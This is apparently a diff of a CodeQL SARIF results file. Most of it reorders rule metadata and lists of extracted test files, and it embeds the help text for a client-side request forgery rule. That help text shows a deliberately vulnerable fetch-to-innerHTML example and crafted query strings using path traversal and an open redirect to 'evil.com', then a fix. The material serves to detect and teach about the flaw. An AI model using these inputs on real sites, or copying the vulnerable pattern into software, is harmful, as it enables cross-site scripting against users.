+            "text" : "# Client-side request forgery\nDirectly incorporating user input in the URL of an outgoing HTTP request can enable a request forgery attack, in which the request is altered to target an unintended API endpoint or resource. A client-side forged request may perform an unwanted action affecting the victim's account, or may lead to cross-site scripting if the request response is handled in an unsafe way. This is different from CSRF (cross-site request forgery), and will usually bypass CSRF protections. This is usually less severe than SSRF (server-side request forgery), as it does not expose internal services.\n\n\n## Recommendation\nRestrict user inputs in the URL of an outgoing request, in particular:\n\n* Avoid user input in the hostname of the URL. Pick the hostname from an allow-list instead of constructing it directly from user input.\n* Take care when user input is part of the pathname of the URL. Restrict the input so that path traversal (\"`../`\") cannot be used to redirect the request to an unintended endpoint.\n\n## Example\nThe following example shows an HTTP request used to fetch the pre-rendered HTML body of a message. It is using the endpoint `/api/messages/ID`, which is believed to respond with a safe HTML string, to be embedded in the page:\n\n\n```javascript\nasync function loadMessage() {\n    const query = new URLSearchParams(location.search);\n    const url = '/api/messages/' + query.get('message_id');\n    const data = await (await fetch(url)).json();\n    document.getElementById('message').innerHTML = data.html;\n}\n\n```\nHowever, the format of the message ID is not checked, and an attacker can abuse this to alter the endpoint targeted by the request. If they can redirect it to an endpoint that returns an untrusted value, this leads to cross-site scripting.\n\nFor example, given the query string `message_id=../pastebin/123`, the request will end up targeting the `/api/pastebin` endpoint. Or if there is an open redirect on the login page, a query string like `message_id=../../login?redirect_url=https://evil.com` could give the attacker full control over the response as well.\n\nIn example below, the input has been restricted to a number so that the endpoint cannot be altered:\n\n\n```javascript\nasync function loadMessage() {\n    const query = new URLSearchParams(location.search);\n    const url = '/api/messages/' + Number(query.get('message_id'));\n    const data = await (await fetch(url)).json();\n    document.getElementById('message').innerHTML = data.html;\n}\n\n```\n\n## References\n* OWASP: [Server-side request forgery](https://cwe.mitre.org/data/definitions/918.html)\n* OWASP: [Cross-site request forgery](https://cwe.mitre.org/data/definitions/352.html)\n* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html).\n",
+            "markdown" : "# Client-side request forgery\nDirectly incorporating user input in the URL of an outgoing HTTP request can enable a request forgery attack, in which the request is altered to target an unintended API endpoint or resource. A client-side forged request may perform an unwanted action affecting the victim's account, or may lead to cross-site scripting if the request response is handled in an unsafe way. This is different from CSRF (cross-site request forgery), and will usually bypass CSRF protections. This is usually less severe than SSRF (server-side request forgery), as it does not expose internal services.\n\n\n## Recommendation\nRestrict user inputs in the URL of an outgoing request, in particular:\n\n* Avoid user input in the hostname of the URL. Pick the hostname from an allow-list instead of constructing it directly from user input.\n* Take care when user input is part of the pathname of the URL. Restrict the input so that path traversal (\"`../`\") cannot be used to redirect the request to an unintended endpoint.\n\n## Example\nThe following example shows an HTTP request used to fetch the pre-rendered HTML body of a message. It is using the endpoint `/api/messages/ID`, which is believed to respond with a safe HTML string, to be embedded in the page:\n\n\n```javascript\nasync function loadMessage() {\n    const query = new URLSearchParams(location.search);\n    const url = '/api/messages/' + query.get('message_id');\n    const data = await (await fetch(url)).json();\n    document.getElementById('message').innerHTML = data.html;\n}\n\n```\nHowever, the format of the message ID is not checked, and an attacker can abuse this to alter the endpoint targeted by the request. If they can redirect it to an endpoint that returns an untrusted value, this leads to cross-site scripting.\n\nFor example, given the query string `message_id=../pastebin/123`, the request will end up targeting the `/api/pastebin` endpoint. Or if there is an open redirect on the login page, a query string like `message_id=../../login?redirect_url=https://evil.com` could give the attacker full control over the response as well.\n\nIn example below, the input has been restricted to a number so that the endpoint cannot be altered:\n\n\n```javascript\nasync function loadMessage() {\n    const query = new URLSearchParams(location.search);\n    const url = '/api/messages/' + Number(query.get('message_id'));\n    const data = await (await fetch(url)).json();\n    document.getElementById('message').innerHTML = data.html;\n}\n\n```\n\n## References\n* OWASP: [Server-side request forgery](https://cwe.mitre.org/data/definitions/918.html)\n* OWASP: [Cross-site request forgery](https://cwe.mitre.org/data/definitions/352.html)\n* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html).\n"
           },
           "properties" : {
-            "tags" : [ "summary", "lines-of-code" ],
-            "description" : "The total number of lines of JavaScript and TypeScript code from the source code directory,\n   excluding auto-generated files and files in `node_modules`. This query counts the lines of code, excluding\n   whitespace or comments.",
-            "id" : "js/summary/lines-of-user-code",
-            "kind" : "metric",
-            "name" : "Total lines of user written JavaScript and TypeScript code in the database"
+            "tags" : [ "security", "external/cwe/cwe-918" ],
+            "description" : "Making a client-to-server request with user-controlled data in the URL allows a request forgery attack\n              against the client.",
+            "id" : "js/client-side-request-forgery",
+            "kind" : "path-problem",
+            "name" : "Client-side request forgery",
+            "precision" : "medium",
+            "problem.severity" : "error",
+            "security-severity" : "5.0"
           }
         }, {
           "id" : "js/summary/lines-of-code",
@@ -3067,35 +3065,37 @@
             "kind" : "metric",
             "name" : "Total lines of JavaScript and TypeScript code in the database"
           }
-        } ],
-        "locations" : [ {
-          "uri" : "file:///opt/hostedtoolcache/CodeQL/2.16.3/x64/codeql/qlpacks/codeql/javascript-queries/0.8.9/",
-          "description" : {
-            "text" : "The QL pack root directory."
-          }
         }, {
-          "uri" : "file:///opt/hostedtoolcache/CodeQL/2.16.3/x64/codeql/qlpacks/codeql/javascript-queries/0.8.9/qlpack.yml",
-          "description" : {
-            "text" : "The QL pack definition file."
+          "id" : "js/summary/lines-of-user-code",
+          "name" : "js/summary/lines-of-user-code",
+          "shortDescription" : {
+            "text" : "Total lines of user written JavaScript and TypeScript code in the database"
+          },
+          "fullDescription" : {
+            "text" : "The total number of lines of JavaScript and TypeScript code from the source code directory, excluding auto-generated files and files in `node_modules`. This query counts the lines of code, excluding whitespace or comments."
+          },
+          "defaultConfiguration" : {
+            "enabled" : true
+          },
+          "properties" : {
+            "tags" : [ "summary", "lines-of-code" ],
+            "description" : "The total number of lines of JavaScript and TypeScript code from the source code directory,\n   excluding auto-generated files and files in `node_modules`. This query counts the lines of code, excluding\n   whitespace or comments.",
+            "id" : "js/summary/lines-of-user-code",
+            "kind" : "metric",
+            "name" : "Total lines of user written JavaScript and TypeScript code in the database"
           }
-        } ]
-      }, {
-        "name" : "generated/extension-pack",
-        "semanticVersion" : "0.0.0",
+        } ],
         "locations" : [ {
-          "uri" : "file:///home/runner/work/_temp/codeql_databases/javascript/temp/extension-pack/",
+          "uri" : "file:///opt/hostedtoolcache/CodeQL/2.16.4/x64/codeql/qlpacks/codeql/javascript-queries/0.8.10/",
           "description" : {
             "text" : "The QL pack root directory."
           }
         }, {
-          "uri" : "file:///home/runner/work/_temp/codeql_databases/javascript/temp/extension-pack/codeql-pack.yml",
+          "uri" : "file:///opt/hostedtoolcache/CodeQL/2.16.4/x64/codeql/qlpacks/codeql/javascript-queries/0.8.10/qlpack.yml",
           "description" : {
             "text" : "The QL pack definition file."
           }
-        } ],
-        "properties" : {
-          "isCodeQLModelPack" : true
-        }
+        } ]
       } ]
     },
     "invocations" : [ {
@@ -3117,7 +3117,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3143,7 +3143,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3155,7 +3155,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/codeql-pack.lock.yml",
+              "uri" : ".github/codeql/codeql-config.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 7
             }
@@ -3169,7 +3169,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3181,7 +3181,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : ".github/codeql/codeql-config.yaml",
+              "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 8
             }
@@ -3195,7 +3195,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3221,7 +3221,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3233,7 +3233,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/codeql-pack.lock.yml",
+              "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 10
             }
@@ -3247,7 +3247,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3259,7 +3259,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/qlpack.yml",
+              "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 11
             }
@@ -3273,7 +3273,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3299,7 +3299,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3325,7 +3325,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3351,7 +3351,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3377,7 +3377,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3403,7 +3403,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3429,7 +3429,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3455,7 +3455,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3481,7 +3481,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3507,7 +3507,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3519,7 +3519,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/src/codeql-pack.lock.yml",
+              "uri" : "javascript/frameworks/cap/src/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 21
             }
@@ -3533,7 +3533,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3545,7 +3545,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/src/qlpack.yml",
+              "uri" : "javascript/frameworks/cap/src/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 22
             }
@@ -3559,7 +3559,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3585,7 +3585,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3611,7 +3611,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3623,9 +3623,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+              "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 2
+              "index" : 1
             }
           }
         } ],
@@ -3637,7 +3637,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3649,9 +3649,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/db/schema.json",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 0
+              "index" : 25
             }
           }
         } ],
@@ -3663,7 +3663,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3675,9 +3675,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/lib/codeql-pack.lock.yml",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/package.json",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 25
+              "index" : 26
             }
           }
         } ],
@@ -3689,7 +3689,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3701,9 +3701,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/lib/qlpack.yml",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/server.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 26
+              "index" : 27
             }
           }
         } ],
@@ -3715,7 +3715,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3727,9 +3727,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/src/codeql-pack.lock.yml",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 27
+              "index" : 28
             }
           }
         } ],
@@ -3741,7 +3741,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3753,9 +3753,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/src/qlpack.yml",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.json",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 28
+              "index" : 29
             }
           }
         } ],
@@ -3767,7 +3767,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3779,9 +3779,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/codeql-pack.lock.yml",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 29
+              "index" : 30
             }
           }
         } ],
@@ -3793,7 +3793,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3805,9 +3805,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.html",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 30
+              "index" : 2
             }
           }
         } ],
@@ -3819,7 +3819,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3831,7 +3831,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/lib/BindingStringParser/test.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 31
             }
@@ -3845,7 +3845,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3857,7 +3857,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/schema.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 32
             }
@@ -3871,7 +3871,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3883,7 +3883,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/server.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 33
             }
@@ -3897,7 +3897,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3909,7 +3909,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.xml",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 34
             }
@@ -3923,7 +3923,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3935,7 +3935,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/lib/JsonParser/test.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 35
             }
@@ -3949,7 +3949,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3961,7 +3961,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/models/binding_path/binding1.xml",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 36
             }
@@ -3975,7 +3975,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -3987,7 +3987,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/models/binding_path/bindingComposite.xml",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 37
             }
@@ -4001,7 +4001,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4013,7 +4013,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/models/multiple_models/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/db/schema.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 38
             }
@@ -4027,7 +4027,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4039,7 +4039,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/models/sink/sink1.xml",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 39
             }
@@ -4053,7 +4053,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4065,7 +4065,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/models/source/source1.xml",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 40
             }
@@ -4079,7 +4079,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4091,7 +4091,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/qlpack.yml",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 41
             }
@@ -4105,7 +4105,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4117,7 +4117,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/server.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 42
             }
@@ -4131,7 +4131,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4143,7 +4143,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/ui5.yaml",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 43
             }
@@ -4157,7 +4157,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4169,7 +4169,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/index.html",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 44
             }
@@ -4183,7 +4183,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4195,7 +4195,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/ui5.yaml",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 45
             }
@@ -4209,7 +4209,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4221,7 +4221,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/index.html",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/schema.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 46
             }
@@ -4235,7 +4235,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4247,7 +4247,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/ui5.yaml",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 47
             }
@@ -4261,7 +4261,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4273,7 +4273,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/server.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 48
             }
@@ -4287,7 +4287,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4299,7 +4299,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 49
             }
@@ -4313,7 +4313,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4325,7 +4325,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 50
             }
@@ -4339,7 +4339,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4351,7 +4351,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 51
             }
@@ -4365,7 +4365,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4377,7 +4377,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 52
             }
@@ -4391,7 +4391,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4403,7 +4403,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 53
             }
@@ -4417,7 +4417,7 @@
